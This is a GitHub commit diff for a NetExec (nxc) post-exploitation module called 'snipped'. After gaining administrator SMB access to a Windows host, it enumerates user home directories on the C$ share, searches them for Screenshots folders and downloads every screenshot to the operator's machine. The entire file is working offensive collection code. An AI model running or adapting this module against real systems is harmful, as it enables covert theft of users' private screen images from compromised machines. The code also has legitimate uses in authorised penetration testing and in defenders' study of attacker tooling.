Skip to content

Commit af512f1

Browse files
committed
Modifed Snipped Module
1 parent 54fea63 commit af512f1

1 file changed

Lines changed: 95 additions & 81 deletions

File tree

nxc/modules/snipped.py

Lines changed: 95 additions & 81 deletions
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,8 @@
1-
from impacket import smb, smb3
21
import ntpath
3-
from os import makedirs
4-
from os.path import join, exists
5-
from dploot.lib.smb import DPLootSMBConnection
6-
from dploot.lib.target import Target
2+
import os
3+
from os.path import join, getsize, exists
4+
from nxc.paths import NXC_PATH
5+
76

87
class NXCModule:
98

@@ -16,105 +15,120 @@ class NXCModule:
1615
def __init__(self):
1716
self.context = None
1817
self.module_options = None
18+
self.excluded_files = ["desktop.ini"]
1919

2020
def options(self, context, module_options):
21-
"""
22-
USERS Download only specified user(s); format: -o USERS=user1,user2,user3
23-
"""
21+
"""USERS: Download only specified user(s); format: -o USERS=user1,user2,user3"""
2422
self.context = context
25-
self.screenshot_path_stub = r"Pictures\Screenshots"
26-
self.users = module_options["USERS"].split(",") if "USERS" in module_options else None
23+
self.users = [user.lower() for user in module_options["USERS"].split(",")] if "USERS" in module_options else None
24+
25+
2726

2827
def on_admin_login(self, context, connection):
2928
self.context = context
3029
self.connection = connection
3130
self.share = "C$"
32-
33-
host = f"{connection.hostname}.{connection.domain}"
34-
domain = connection.domain
35-
username = connection.username
36-
kerberos = connection.kerberos
37-
aesKey = connection.aesKey
38-
use_kcache = getattr(connection, "use_kcache", False)
39-
password = getattr(connection, "password", "")
40-
lmhash = getattr(connection, "lmhash", "")
41-
nthash = getattr(connection, "nthash", "")
42-
43-
target = Target.create(
44-
domain=domain,
45-
username=username,
46-
password=password,
47-
target=host,
48-
lmhash=lmhash,
49-
nthash=nthash,
50-
do_kerberos=kerberos,
51-
aesKey=aesKey,
52-
use_kcache=use_kcache,
53-
)
54-
55-
dploot_conn = self.upgrade_connection(target=target, connection=connection.conn)
56-
57-
output_path = f"nxc_snipped_{connection.host}"
58-
context.log.debug("Getting all user folders")
31+
32+
output_base_dir = join(NXC_PATH, "modules", "snipped", "screenshots")
33+
os.makedirs(output_base_dir, exist_ok=True)
34+
35+
context.log.info("Getting all user folders")
5936
try:
60-
user_folders = dploot_conn.listPath(self.share, "\\Users\\*")
37+
user_folders = connection.conn.listPath(self.share, "\\Users\\*")
6138
except Exception as e:
6239
context.log.fail(f"Failed to list user folders: {e}")
6340
return
6441

65-
context.log.debug(f"User folders: {user_folders}")
42+
context.log.info(f"User folders: {[folder.get_longname() for folder in user_folders]}")
6643
if not user_folders:
6744
context.log.fail("No User folders found!")
6845
return
6946
else:
70-
context.log.display("Attempting to download screenshots if existent.")
47+
context.log.info("Attempting to download screenshots if they exist.")
48+
49+
total_files_downloaded = 0
50+
host_output_path = None
7151

7252
for user_folder in user_folders:
73-
if not user_folder.is_directory():
74-
continue
7553
folder_name = user_folder.get_longname()
76-
if folder_name in [".", "..", "All Users", "Default", "Default User", "Public"]:
77-
continue
78-
if self.users and folder_name not in self.users:
79-
continue
80-
81-
screenshot_path = ntpath.normpath(join(r"Users", folder_name, self.screenshot_path_stub))
82-
try:
83-
screenshot_files = dploot_conn.listPath(self.share, screenshot_path + "\\*")
84-
except Exception as e:
85-
context.log.debug(f"Screenshot folder {screenshot_path} not found for user {folder_name}: {e}")
86-
continue
87-
88-
if not screenshot_files:
89-
context.log.debug(f"No screenshots found in {screenshot_path} for user {folder_name}")
90-
continue
91-
92-
user_output_dir = join(output_path, folder_name)
93-
if not exists(user_output_dir):
94-
makedirs(user_output_dir)
95-
96-
context.log.display(f"Downloading screenshots for user {folder_name}")
97-
downloaded_count = 0
98-
for file in screenshot_files:
99-
if file.is_directory():
54+
if folder_name.lower() not in [".", "..", "all users", "default", "default user", "public"]:
55+
normalized_name = folder_name.lower()
56+
if self.users and normalized_name not in self.users:
57+
continue
58+
59+
context.log.info(f"Searching for Screenshots folder in {folder_name}'s home directory")
60+
screenshots_folders = self.find_screenshots_folders(folder_name)
61+
if not screenshots_folders:
62+
context.log.debug(f"No Screenshots folder found for user {folder_name}. Skipping.")
10063
continue
101-
remote_file_path = ntpath.join(screenshot_path, file.get_longname())
102-
local_file_path = join(user_output_dir, file.get_longname())
103-
with open(local_file_path, 'wb') as local_file:
64+
65+
for screenshot_path in screenshots_folders:
10466
try:
105-
context.log.debug(f"Downloading {remote_file_path} to {local_file_path}")
106-
dploot_conn.readFile(self.share, remote_file_path, local_file.write)
107-
downloaded_count += 1
67+
screenshot_files = connection.conn.listPath(self.share, screenshot_path + "\\*")
10868
except Exception as e:
109-
context.log.debug(f"Failed to download {remote_file_path} for user {folder_name}: {e}")
69+
context.log.debug(f"Screenshot folder {screenshot_path} not found for user {folder_name}: {e}")
11070
continue
11171

112-
context.log.success(f"{downloaded_count} screenshots for user {folder_name} downloaded to {user_output_dir}")
72+
if not screenshot_files:
73+
context.log.debug(f"No screenshots found in {screenshot_path} for user {folder_name}")
74+
continue
11375

114-
def upgrade_connection(self, target: Target, connection=None):
115-
conn = DPLootSMBConnection(target)
116-
if connection is not None:
117-
conn.smb_session = connection
118-
else:
119-
conn.connect()
120-
return conn
76+
user_output_dir = join(output_base_dir, connection.host)
77+
os.makedirs(user_output_dir, exist_ok=True)
78+
host_output_path = user_output_dir
79+
80+
for file in screenshot_files:
81+
if not file.is_directory():
82+
remote_file_name = file.get_longname()
83+
84+
if remote_file_name.lower() in self.excluded_files:
85+
context.log.debug(f"Excluding file {remote_file_name}.")
86+
continue
87+
88+
remote_file_path = ntpath.join(screenshot_path, remote_file_name)
89+
sanitized_path = screenshot_path.replace("\\", "_").replace("/", "_")
90+
local_file_name = f"{folder_name}_{sanitized_path}_{remote_file_name}"
91+
local_file_path = join(user_output_dir, local_file_name)
92+
93+
try:
94+
with open(local_file_path, "wb") as local_file:
95+
context.log.debug(f"Downloading {remote_file_path} to {local_file_path}")
96+
connection.conn.getFile(self.share, remote_file_path, local_file.write)
97+
98+
if not exists(local_file_path):
99+
context.log.error(f"Downloaded file {local_file_path} does not exist.")
100+
continue
101+
102+
file_size = getsize(local_file_path)
103+
if file_size == 0:
104+
context.log.error(f"Downloaded file {local_file_path} is 0 bytes. Skipping.")
105+
os.remove(local_file_path)
106+
else:
107+
total_files_downloaded += 1
108+
except Exception as e:
109+
context.log.debug(f"Failed to download {remote_file_path} for user {folder_name}: {e}")
110+
111+
if total_files_downloaded > 0 and host_output_path:
112+
context.log.success(f"{total_files_downloaded} file(s) downloaded from host {connection.host} to {host_output_path}.")
113+
114+
115+
def find_screenshots_folders(self, user_folder_name):
116+
"""
117+
Dynamically searches for all Screenshots folders in the user's home directory.
118+
Returns a list of paths.
119+
"""
120+
base_path = ntpath.normpath(join(r"Users", user_folder_name))
121+
screenshots_folders = []
122+
try:
123+
subfolders = self.connection.conn.listPath(self.share, base_path + "\\*")
124+
for subfolder in subfolders:
125+
if subfolder.is_directory() and subfolder.get_longname() not in [".", ".."]:
126+
potential_path = ntpath.join(base_path, subfolder.get_longname(), "Screenshots")
127+
try:
128+
if self.connection.conn.listPath(self.share, potential_path + "\\*"):
129+
screenshots_folders.append(potential_path)
130+
except Exception:
131+
continue
132+
except Exception as e:
133+
self.context.log.debug(f"Failed to list subfolders for {base_path}: {e}")
134+
return screenshots_folders

0 commit comments

Comments
 (0)